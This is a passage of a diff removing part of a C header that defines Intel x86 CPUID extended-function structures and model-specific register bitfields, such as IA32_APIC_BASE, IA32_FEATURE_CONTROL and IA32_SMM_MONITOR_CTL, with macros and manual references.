CPUID_EDX_PROCESSOR_BRAND_STRING_4_BIT 0 -#define CPUID_EDX_PROCESSOR_BRAND_STRING_4_FLAG 0xFFFFFFFF -#define CPUID_EDX_PROCESSOR_BRAND_STRING_4_MASK 0xFFFFFFFF -#define CPUID_EDX_PROCESSOR_BRAND_STRING_4(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_80000002; - -/** - * @brief Extended Function CPUID Information - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_5 : 32; -#define CPUID_EAX_PROCESSOR_BRAND_STRING_5_BIT 0 -#define CPUID_EAX_PROCESSOR_BRAND_STRING_5_FLAG 0xFFFFFFFF -#define CPUID_EAX_PROCESSOR_BRAND_STRING_5_MASK 0xFFFFFFFF -#define CPUID_EAX_PROCESSOR_BRAND_STRING_5(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_6 : 32; -#define CPUID_EBX_PROCESSOR_BRAND_STRING_6_BIT 0 -#define CPUID_EBX_PROCESSOR_BRAND_STRING_6_FLAG 0xFFFFFFFF -#define CPUID_EBX_PROCESSOR_BRAND_STRING_6_MASK 0xFFFFFFFF -#define CPUID_EBX_PROCESSOR_BRAND_STRING_6(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_7 : 32; -#define CPUID_ECX_PROCESSOR_BRAND_STRING_7_BIT 0 -#define CPUID_ECX_PROCESSOR_BRAND_STRING_7_FLAG 0xFFFFFFFF -#define CPUID_ECX_PROCESSOR_BRAND_STRING_7_MASK 0xFFFFFFFF -#define CPUID_ECX_PROCESSOR_BRAND_STRING_7(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_8 : 32; -#define CPUID_EDX_PROCESSOR_BRAND_STRING_8_BIT 0 -#define CPUID_EDX_PROCESSOR_BRAND_STRING_8_FLAG 0xFFFFFFFF -#define CPUID_EDX_PROCESSOR_BRAND_STRING_8_MASK 0xFFFFFFFF -#define CPUID_EDX_PROCESSOR_BRAND_STRING_8(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_80000003; - -/** - * @brief Extended Function CPUID Information - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_9 : 32; -#define CPUID_EAX_PROCESSOR_BRAND_STRING_9_BIT 0 -#define CPUID_EAX_PROCESSOR_BRAND_STRING_9_FLAG 0xFFFFFFFF -#define CPUID_EAX_PROCESSOR_BRAND_STRING_9_MASK 0xFFFFFFFF -#define CPUID_EAX_PROCESSOR_BRAND_STRING_9(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_10 : 32; -#define CPUID_EBX_PROCESSOR_BRAND_STRING_10_BIT 0 -#define CPUID_EBX_PROCESSOR_BRAND_STRING_10_FLAG 0xFFFFFFFF -#define CPUID_EBX_PROCESSOR_BRAND_STRING_10_MASK 0xFFFFFFFF -#define CPUID_EBX_PROCESSOR_BRAND_STRING_10(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_11 : 32; -#define CPUID_ECX_PROCESSOR_BRAND_STRING_11_BIT 0 -#define CPUID_ECX_PROCESSOR_BRAND_STRING_11_FLAG 0xFFFFFFFF -#define CPUID_ECX_PROCESSOR_BRAND_STRING_11_MASK 0xFFFFFFFF -#define CPUID_ECX_PROCESSOR_BRAND_STRING_11(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] Processor Brand String Continued. - */ - uint32_t processor_brand_string_12 : 32; -#define CPUID_EDX_PROCESSOR_BRAND_STRING_12_BIT 0 -#define CPUID_EDX_PROCESSOR_BRAND_STRING_12_FLAG 0xFFFFFFFF -#define CPUID_EDX_PROCESSOR_BRAND_STRING_12_MASK 0xFFFFFFFF -#define CPUID_EDX_PROCESSOR_BRAND_STRING_12(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_80000004; - -/** - * @brief Extended Function CPUID Information - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] EAX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EAX_RESERVED_BIT 0 -#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] EBX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_80000005; - - -/** - * Extended Function CPUID Information. - */ -#define CPUID_EXTENDED_CACHE_INFO 0x80000006 -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] EAX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EAX_RESERVED_BIT 0 -#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] EBX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 7:0] Cache Line size in bytes. - */ - uint32_t cache_line_size_in_bytes : 8; -#define CPUID_ECX_CACHE_LINE_SIZE_IN_BYTES_BIT 0 -#define CPUID_ECX_CACHE_LINE_SIZE_IN_BYTES_FLAG 0xFF -#define CPUID_ECX_CACHE_LINE_SIZE_IN_BYTES_MASK 0xFF -#define CPUID_ECX_CACHE_LINE_SIZE_IN_BYTES(_) (((_) >> 0) & 0xFF) - uint32_t reserved1 : 4; - - /** - * [Bits 15:12] L2 Associativity field. - * L2 associativity field encodings: - * - 00H - Disabled. - * - 01H - Direct mapped. - * - 02H - 2-way. - * - 04H - 4-way. - * - 06H - 8-way. - * - 08H - 16-way. - * - 0FH - Fully associative. - */ - uint32_t l2_associativity_field : 4; -#define CPUID_ECX_L2_ASSOCIATIVITY_FIELD_BIT 12 -#define CPUID_ECX_L2_ASSOCIATIVITY_FIELD_FLAG 0xF000 -#define CPUID_ECX_L2_ASSOCIATIVITY_FIELD_MASK 0x0F -#define CPUID_ECX_L2_ASSOCIATIVITY_FIELD(_) (((_) >> 12) & 0x0F) - - /** - * [Bits 31:16] Cache size in 1K units. - */ - uint32_t cache_size_in_1k_units : 16; -#define CPUID_ECX_CACHE_SIZE_IN_1K_UNITS_BIT 16 -#define CPUID_ECX_CACHE_SIZE_IN_1K_UNITS_FLAG 0xFFFF0000 -#define CPUID_ECX_CACHE_SIZE_IN_1K_UNITS_MASK 0xFFFF -#define CPUID_ECX_CACHE_SIZE_IN_1K_UNITS(_) (((_) >> 16) & 0xFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_80000006; - - -/** - * Extended Function CPUID Information. - */ -#define CPUID_EXTENDED_TIME_STAMP_COUNTER 0x80000007 -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] EAX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EAX_RESERVED_BIT 0 -#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] EBX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - uint32_t reserved1 : 8; - - /** - * [Bit 8] Invariant TSC available if 1. - */ - uint32_t invariant_tsc_available : 1; -#define CPUID_EDX_INVARIANT_TSC_AVAILABLE_BIT 8 -#define CPUID_EDX_INVARIANT_TSC_AVAILABLE_FLAG 0x100 -#define CPUID_EDX_INVARIANT_TSC_AVAILABLE_MASK 0x01 -#define CPUID_EDX_INVARIANT_TSC_AVAILABLE(_) (((_) >> 8) & 0x01) - uint32_t reserved2 : 23; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_80000007; - -/** - * @} - */ - - /** - * @defgroup model_specific_registers \ - * Model Specific Registers - * - * @see Vol2A[3.2(CPUID)] (reference) - * @{ - */ - /** - * @defgroup ia32_p5_mc \ - * IA32_P5_MC_(x) - * - * When machine-check exceptions are enabled for the Pentium processor (MCE flag is set in control register CR4), the - * machine-check exception handler uses the RDMSR instruction to read the error type from the P5_MC_TYPE register and the - * machine check address from the P5_MC_ADDR register. The handler then normally reports these register values to the - * system console before aborting execution. - * - * @see Vol3B[15.10.2(Pentium Processor Machine-Check Exception Handling)] (reference) - * @{ - */ - /** - * Machine-check exception address. - * - * @remarks 05_01H - * @see Vol4[2.22(MSRS IN PENTIUM PROCESSORS)] - */ -#define IA32_P5_MC_ADDR 0x00000000 - - /** - * Machine-check exception type. - * - * @remarks 05_01H - * @see Vol4[2.22(MSRS IN PENTIUM PROCESSORS)] - */ -#define IA32_P5_MC_TYPE 0x00000001 - /** - * @} - */ - - /** - * System coherence line size. - * - * @remarks 0F_03H - * @see Vol3A[8.10.5(Monitor/Mwait Address Range Determination)] - * @see Vol3A[8.10.5(Monitor/Mwait Address Range Determination)] (reference) - */ -#define IA32_MONITOR_FILTER_LINE_SIZE 0x00000006 - - /** - * Value as returned by instruction RDTSC. - * - * @remarks 05_01H - * @see Vol3B[17.17(TIME-STAMP COUNTER)] - */ -#define IA32_TIME_STAMP_COUNTER 0x00000010 - - /** - * The operating system can use this MSR to determine "slot" information for the processor and the proper microcode update - * to load. - * - * @remarks 06_01H - */ -#define IA32_PLATFORM_ID 0x00000017 -typedef union -{ - struct - { - uint64_t reserved1 : 50; - - /** - * @brief Platform Id (RO) - * - * [Bits 52:50] Contains information concerning the intended platform for the processor. - * - * - * 52 | 51 | 50 | _ - * --:|:--:|:---|----------------- - * 0 | 0 | 0 | Processor Flag 0 - * 0 | 0 | 1 | Processor Flag 1 - * 0 | 1 | 0 | Processor Flag 2 - * 0 | 1 | 1 | Processor Flag 3 - * 1 | 0 | 0 | Processor Flag 4 - * 1 | 0 | 1 | Processor Flag 5 - * 1 | 1 | 0 | Processor Flag 6 - * 1 | 1 | 1 | Processor Flag 7 - */ - uint64_t platform_id : 3; -#define IA32_PLATFORM_ID_PLATFORM_ID_BIT 50 -#define IA32_PLATFORM_ID_PLATFORM_ID_FLAG 0x1C000000000000 -#define IA32_PLATFORM_ID_PLATFORM_ID_MASK 0x07 -#define IA32_PLATFORM_ID_PLATFORM_ID(_) (((_) >> 50) & 0x07) - uint64_t reserved2 : 11; - }; - - uint64_t flags; -} ia32_platform_id_register; - - -/** - * This register holds the APIC base address, permitting the relocation of the APIC memory map. - * - * @remarks 06_01H - * @see Vol3A[10.4.4(Local APIC Status and Location)] - * @see Vol3A[10.4.5(Relocating the Local APIC Registers)] - */ -#define IA32_APIC_BASE 0x0000001B -typedef union -{ - struct - { - uint64_t reserved1 : 8; - - /** - * [Bit 8] BSP flag. - */ - uint64_t bsp_flag : 1; -#define IA32_APIC_BASE_BSP_FLAG_BIT 8 -#define IA32_APIC_BASE_BSP_FLAG_FLAG 0x100 -#define IA32_APIC_BASE_BSP_FLAG_MASK 0x01 -#define IA32_APIC_BASE_BSP_FLAG(_) (((_) >> 8) & 0x01) - uint64_t reserved2 : 1; - - /** - * [Bit 10] Enable x2APIC mode. - */ - uint64_t enable_x2apic_mode : 1; -#define IA32_APIC_BASE_ENABLE_X2APIC_MODE_BIT 10 -#define IA32_APIC_BASE_ENABLE_X2APIC_MODE_FLAG 0x400 -#define IA32_APIC_BASE_ENABLE_X2APIC_MODE_MASK 0x01 -#define IA32_APIC_BASE_ENABLE_X2APIC_MODE(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] APIC Global Enable. - */ - uint64_t apic_global_enable : 1; -#define IA32_APIC_BASE_APIC_GLOBAL_ENABLE_BIT 11 -#define IA32_APIC_BASE_APIC_GLOBAL_ENABLE_FLAG 0x800 -#define IA32_APIC_BASE_APIC_GLOBAL_ENABLE_MASK 0x01 -#define IA32_APIC_BASE_APIC_GLOBAL_ENABLE(_) (((_) >> 11) & 0x01) - - /** - * [Bits 47:12] APIC Base. - */ - uint64_t apic_base : 36; -#define IA32_APIC_BASE_APIC_BASE_BIT 12 -#define IA32_APIC_BASE_APIC_BASE_FLAG 0xFFFFFFFFF000 -#define IA32_APIC_BASE_APIC_BASE_MASK 0xFFFFFFFFF -#define IA32_APIC_BASE_APIC_BASE(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved3 : 16; - }; - - uint64_t flags; -} ia32_apic_base_register; - - -/** - * Control Features in Intel 64 Processor. - * - * @remarks If any one enumeration condition for defined bit field holds. - */ -#define IA32_FEATURE_CONTROL 0x0000003A -typedef union -{ - struct - { - /** - * @brief Lock bit (R/WO) - * - * [Bit 0] When set, locks this MSR from being written; writes to this bit will result in GP(0). - * - * @note Once the Lock bit is set, the contents of this register cannot be modified. Therefore the lock bit must be set - * after configuring support for Intel Virtualization Technology and prior to transferring control to an option ROM or the - * OS. Hence, once the Lock bit is set, the entire IA32_FEATURE_CONTROL contents are preserved across RESET when PWRGOOD is - * not deasserted. - * @remarks If any one enumeration condition for defined bit field position greater than bit 0 holds. - */ - uint64_t lock_bit : 1; -#define IA32_FEATURE_CONTROL_LOCK_BIT_BIT 0 -#define IA32_FEATURE_CONTROL_LOCK_BIT_FLAG 0x01 -#define IA32_FEATURE_CONTROL_LOCK_BIT_MASK 0x01 -#define IA32_FEATURE_CONTROL_LOCK_BIT(_) (((_) >> 0) & 0x01) - - /** - * @brief Enable VMX inside SMX operation (R/WL) - * - * [Bit 1] This bit enables a system executive to use VMX in conjunction with SMX to support Intel(R) Trusted Execution - * Technology. BIOS must set this bit only when the CPUID function 1 returns VMX feature flag and SMX feature flag set (ECX - * bits 5 and 6 respectively). - * - * @remarks If CPUID.01H:ECX[5] = 1 && CPUID.01H:ECX[6] = 1 - */ - uint64_t enable_vmx_inside_smx : 1; -#define IA32_FEATURE_CONTROL_ENABLE_VMX_INSIDE_SMX_BIT 1 -#define IA32_FEATURE_CONTROL_ENABLE_VMX_INSIDE_SMX_FLAG 0x02 -#define IA32_FEATURE_CONTROL_ENABLE_VMX_INSIDE_SMX_MASK 0x01 -#define IA32_FEATURE_CONTROL_ENABLE_VMX_INSIDE_SMX(_) (((_) >> 1) & 0x01) - - /** - * @brief Enable VMX outside SMX operation (R/WL) - * - * [Bit 2] This bit enables VMX for a system executive that does not require SMX. BIOS must set this bit only when the - * CPUID function 1 returns the VMX feature flag set (ECX bit 5). - * - * @remarks If CPUID.01H:ECX[5] = 1 - */ - uint64_t enable_vmx_outside_smx : 1; -#define IA32_FEATURE_CONTROL_ENABLE_VMX_OUTSIDE_SMX_BIT 2 -#define IA32_FEATURE_CONTROL_ENABLE_VMX_OUTSIDE_SMX_FLAG 0x04 -#define IA32_FEATURE_CONTROL_ENABLE_VMX_OUTSIDE_SMX_MASK 0x01 -#define IA32_FEATURE_CONTROL_ENABLE_VMX_OUTSIDE_SMX(_) (((_) >> 2) & 0x01) - uint64_t reserved1 : 5; - - /** - * @brief SENTER Local Function Enable (R/WL) - * - * [Bits 14:8] When set, each bit in the field represents an enable control for a corresponding SENTER function. This field - * is supported only if CPUID.1:ECX.[bit 6] is set. - * - * @remarks If CPUID.01H:ECX[6] = 1 - */ - uint64_t senter_local_function_enables : 7; -#define IA32_FEATURE_CONTROL_SENTER_LOCAL_FUNCTION_ENABLES_BIT 8 -#define IA32_FEATURE_CONTROL_SENTER_LOCAL_FUNCTION_ENABLES_FLAG 0x7F00 -#define IA32_FEATURE_CONTROL_SENTER_LOCAL_FUNCTION_ENABLES_MASK 0x7F -#define IA32_FEATURE_CONTROL_SENTER_LOCAL_FUNCTION_ENABLES(_) (((_) >> 8) & 0x7F) - - /** - * @brief SENTER Global Enable (R/WL) - * - * [Bit 15] This bit must be set to enable SENTER leaf functions. This bit is supported only if CPUID.1:ECX.[bit 6] is set. - * - * @remarks If CPUID.01H:ECX[6] = 1 - */ - uint64_t senter_global_enable : 1; -#define IA32_FEATURE_CONTROL_SENTER_GLOBAL_ENABLE_BIT 15 -#define IA32_FEATURE_CONTROL_SENTER_GLOBAL_ENABLE_FLAG 0x8000 -#define IA32_FEATURE_CONTROL_SENTER_GLOBAL_ENABLE_MASK 0x01 -#define IA32_FEATURE_CONTROL_SENTER_GLOBAL_ENABLE(_) (((_) >> 15) & 0x01) - uint64_t reserved2 : 1; - - /** - * @brief SGX Launch Control Enable (R/WL) - * - * [Bit 17] This bit must be set to enable runtime reconfiguration of SGX Launch Control via the IA32_SGXLEPUBKEYHASHn MSR. - * - * @remarks If CPUID.(EAX=07H, ECX=0H): ECX[30] = 1 - */ - uint64_t sgx_launch_control_enable : 1; -#define IA32_FEATURE_CONTROL_SGX_LAUNCH_CONTROL_ENABLE_BIT 17 -#define IA32_FEATURE_CONTROL_SGX_LAUNCH_CONTROL_ENABLE_FLAG 0x20000 -#define IA32_FEATURE_CONTROL_SGX_LAUNCH_CONTROL_ENABLE_MASK 0x01 -#define IA32_FEATURE_CONTROL_SGX_LAUNCH_CONTROL_ENABLE(_) (((_) >> 17) & 0x01) - - /** - * @brief SGX Global Enable (R/WL) - * - * [Bit 18] This bit must be set to enable SGX leaf functions. - * - * @remarks If CPUID.(EAX=07H, ECX=0H): EBX[2] = 1 - */ - uint64_t sgx_global_enable : 1; -#define IA32_FEATURE_CONTROL_SGX_GLOBAL_ENABLE_BIT 18 -#define IA32_FEATURE_CONTROL_SGX_GLOBAL_ENABLE_FLAG 0x40000 -#define IA32_FEATURE_CONTROL_SGX_GLOBAL_ENABLE_MASK 0x01 -#define IA32_FEATURE_CONTROL_SGX_GLOBAL_ENABLE(_) (((_) >> 18) & 0x01) - uint64_t reserved3 : 1; - - /** - * @brief LMCE On (R/WL) - * - * [Bit 20] When set, system software can program the MSRs associated with LMCE to configure delivery of some machine check - * exceptions to a single logical processor. - * - * @remarks If IA32_MCG_CAP[27] = 1 - */ - uint64_t lmce_on : 1; -#define IA32_FEATURE_CONTROL_LMCE_ON_BIT 20 -#define IA32_FEATURE_CONTROL_LMCE_ON_FLAG 0x100000 -#define IA32_FEATURE_CONTROL_LMCE_ON_MASK 0x01 -#define IA32_FEATURE_CONTROL_LMCE_ON(_) (((_) >> 20) & 0x01) - uint64_t reserved4 : 43; - }; - - uint64_t flags; -} ia32_feature_control_register; - - -/** - * Per Logical Processor TSC Adjust. - * - * @remarks If CPUID.(EAX=07H, ECX=0H): EBX[1] = 1 - */ -#define IA32_TSC_ADJUST 0x0000003B -typedef struct -{ - /** - * Local offset value of the IA32_TSC for a logical processor. Reset value is zero. A write to IA32_TSC will modify the - * local offset in IA32_TSC_ADJUST and the content of IA32_TSC, but does not affect the internal invariant TSC hardware. - */ - uint64_t thread_adjust; -} ia32_tsc_adjust_register; - - -/** - * @brief BIOS Update Trigger (W) - * - * Executing a WRMSR instruction to this MSR causes a microcode update to be loaded into the processor. A processor may - * prevent writing to this MSR when loading guest states on VM entries or saving guest states on VM exits. - * - * @remarks 06_01H - * @see Vol3A[9.11.6(Microcode Update Loader)] - */ -#define IA32_BIOS_UPDATE_TRIGGER 0x00000079 - - /** - * @brief BIOS Update Signature (RO) - * - * Returns the microcode update signature following the execution of CPUID.01H. A processor may prevent writing to this MSR - * when loading guest states on VM entries or saving guest states on VM exits. - * - * @remarks 06_01H - */ -#define IA32_BIOS_UPDATE_SIGNATURE 0x0000008B -typedef union -{ - struct - { - /** - * [Bits 31:0] Reserved. - */ - uint64_t reserved : 32; -#define IA32_BIOS_UPDATE_SIGNATURE_RESERVED_BIT 0 -#define IA32_BIOS_UPDATE_SIGNATURE_RESERVED_FLAG 0xFFFFFFFF -#define IA32_BIOS_UPDATE_SIGNATURE_RESERVED_MASK 0xFFFFFFFF -#define IA32_BIOS_UPDATE_SIGNATURE_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - - /** - * @brief Microcode update signature - * - * [Bits 63:32] This field contains the signature of the currently loaded microcode update when read following the - * execution of the CPUID instruction, function 1. It is required that this register field be pre-loaded with zero prior to - * executing the CPUID, function 1. If the field remains equal to zero, then there is no microcode update loaded. Another - * nonzero value will be the signature. - * - * @see Vol3A[9.11.7.1(Determining the Signature)] (reference) - */ - uint64_t microcode_update_signature : 32; -#define IA32_BIOS_UPDATE_SIGNATURE_MICROCODE_UPDATE_SIGNATURE_BIT 32 -#define IA32_BIOS_UPDATE_SIGNATURE_MICROCODE_UPDATE_SIGNATURE_FLAG 0xFFFFFFFF00000000 -#define IA32_BIOS_UPDATE_SIGNATURE_MICROCODE_UPDATE_SIGNATURE_MASK 0xFFFFFFFF -#define IA32_BIOS_UPDATE_SIGNATURE_MICROCODE_UPDATE_SIGNATURE(_) (((_) >> 32) & 0xFFFFFFFF) - }; - - uint64_t flags; -} ia32_bios_update_signature_register; - -/** - * @defgroup ia32_sgxlepubkeyhash \ - * IA32_SGXLEPUBKEYHASH[(64*n+63):(64*n)] - * - * Bits (64*n+63):(64*n) of the SHA256 digest of the SIGSTRUCT.MODULUS for SGX Launch Enclave. On reset, the default value - * is the digest of Intel's signing key. - * - * @remarks Read permitted If CPUID.(EAX=12H,ECX=0H): EAX[0]=1 && CPUID.(EAX=07H,ECX=0H):ECX[30]=1. Write permitted if - * CPUID.(EAX=12H,ECX=0H): EAX[0]=1 && IA32_FEATURE_CONTROL[17] = 1 && IA32_FEATURE_CONTROL[0] = 1. - * @{ - */ -#define IA32_SGXLEPUBKEYHASH0 0x0000008C -#define IA32_SGXLEPUBKEYHASH1 0x0000008D -#define IA32_SGXLEPUBKEYHASH2 0x0000008E -#define IA32_SGXLEPUBKEYHASH3 0x0000008F - /** - * @} - */ - - - /** - * SMM Monitor Configuration. - * - * @remarks If CPUID.01H: ECX[5]=1 || CPUID.01H: ECX[6] = 1 - */ -#define IA32_SMM_MONITOR_CTL 0x0000009B -typedef union -{ - struct - { - /** - * @brief Valid (R/W) - * - * [Bit 0] The STM may be invoked using VMCALL only if this bit is 1. Because VMCALL is used to activate the dual-monitor - * treatment, the dual-monitor treatment cannot be activated if the bit is 0. This bit is cleared when the logical - * processor is reset. - * - * @see Vol3C[34.15.6(Activating the Dual-Monitor Treatment)] - * @see Vol3C[34.15.5(Enabling the Dual-Monitor Treatment)] (reference) - */ - uint64_t valid : 1; -#define IA32_SMM_MONITOR_CTL_VALID_BIT 0 -#define IA32_SMM_MONITOR_CTL_VALID_FLAG 0x01 -#define IA32_SMM_MONITOR_CTL_VALID_MASK 0x01 -#define IA32_SMM_MONITOR_CTL_VALID(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 1; - - /** - * @brief Controls SMI unblocking by VMXOFF - * - * [Bit 2] Determines whether executions of VMXOFF unblock SMIs under the default treatment of SMIs and SMM. Executions of - * VMXOFF unblock SMIs unless bit 2 is 1 (the value of bit 0 is irrelevant). - * - * @remarks If IA32_VMX_MISC[28] - * @see Vol3C[34.14.4(VMXOFF and SMI Unblocking)] - * @see Vol3C[34.15.5(Enabling the Dual-Monitor Treatment)] (reference) - */ - uint64_t smi_unblocking_by_vmxoff : 1; -#define IA32_SMM_MONITOR_CTL_SMI_UNBLOCKING_BY_VMXOFF_BIT 2 -#define IA32_SMM_MONITOR_CTL_SMI_UNBLOCKING_BY_VMXOFF_FLAG 0x04 -#define IA32_SMM_MONITOR_CTL_SMI_UNBLOCKING_BY_VMXOFF_MASK 0x01 -#define IA32_SMM_MONITOR_CTL_SMI_UNBLOCKING_BY_VMXOFF(_) (((_) >> 2) & 0x01) - uint64_t reserved2 : 9; - - /** - * @brief MSEG Base (R/W) - * - * [Bits 31:12] Value that, when shifted left 12 bits, is the physical address of MSEG (the MSEG base address). - * - * @see Vol3C[34.15.5(Enabling the Dual-Monitor Treatment)] (reference) - */ - uint64_t mseg_base : 20; -#define IA32_SMM_MONITOR_CTL_MSEG_BASE_BIT 12 -#define IA32_SMM_MONITOR_CTL_MSEG_BASE_FLAG 0xFFFFF000 -#define IA32_SMM_MONITOR_CTL_MSEG_BASE_MASK 0xFFFFF -#define IA32_SMM_MONITOR_CTL_MSEG_BASE(_) (((_) >> 12) & 0xFFFFF) - uint64_t reserved3 : 32; - }; - - uint64_t flags; -} ia32_smm_monitor_ctl_register; - -typedef struct -{ - /** - * @brief MSEG revision identifier - * - * Different processors may use different MSEG revision identifiers. These identifiers enable software to avoid using an - * MSEG header formatted for one processor on a processor that uses a different format. Software can discover the MSEG - * revision identifier that a processor uses by reading the VMX capability MSR IA32_VMX_MISC. - * - * @see Vol3D[A.6(MISCELLANEOUS DATA)] - */ - uint32_t mseg_header_revision; - - /** - * @brief SMM-transfer monitor features field - * - * Bits 31:1 of this field are reserved and must be zero. Bit 0 of the field is the IA-32e mode SMM feature bit. It - * indicates whether the logical processor will be in IA-32e mode after the STM is activated. - * - * @see Vol3C[34.15.6(Activating the Dual-Monitor Treatment)] - */ - uint32_t monitor_features; - - /** - * Define values for the MonitorFeatures field of MSEG_HEADER. - */ -#define IA32_STM_FEATURES_IA32E 0x00000001 - - /** - * Fields that determine how processor state is loaded when the STM is activated. SMM code should establish these fields so - * that activating of the STM invokes the STM's initialization code. - * - * @see Vol3C[34.15.6.5(Loading Host State)] - */ - uint32_t gdtr_limit; - uint32_t gdtr_base_offset; - uint32_t cs_selector; - uint32_t eip_offset; - uint32_t esp_offset; - uint32_t cr3_offset; -} ia32_mseg_header; - - -/** - * Base address of the logical processor's SMRAM image. - * - * @remarks If IA32_VMX_MISC[15] - */ -#define IA32_SMBASE 0x0000009E - /** - * @defgroup ia32_pmc \ - * IA32_PMC(n) - * - * General Performance Counters. - * - * @remarks If CPUID.0AH: EAX[15:8] > n - * @{ - */ -#define IA32_PMC0 0x000000C1 -#define IA32_PMC1 0x000000C2 -#define IA32_PMC2 0x000000C3 -#define IA32_PMC3 0x000000C4 -#define IA32_PMC4 0x000000C5 -#define IA32_PMC5 0x000000C6 -#define IA32_PMC6 0x000000C7 -#define IA32_PMC7 0x000000C8 - /** - * @} - */ - - - /** - * TSC Frequency Clock Counter. - * - * @remarks If CPUID.06H: ECX[0] = 1 - */ -#define IA32_MPERF 0x000000E7 -typedef struct -{ - /** - * @brief C0 TSC Frequency Clock Count - * - * Increments at fixed interval (relative to TSC freq.) when the logical processor is in C0. Cleared upon overflow / - * wrap-around of IA32_APERF. - */ - uint64_t c0_mcnt; -} ia32_mperf_register; - - -/** - * Actual Performance Clock Counter - * - * @remarks If CPUID.06H: ECX[0] = 1 - */ -#define IA32_APERF 0x000000E8 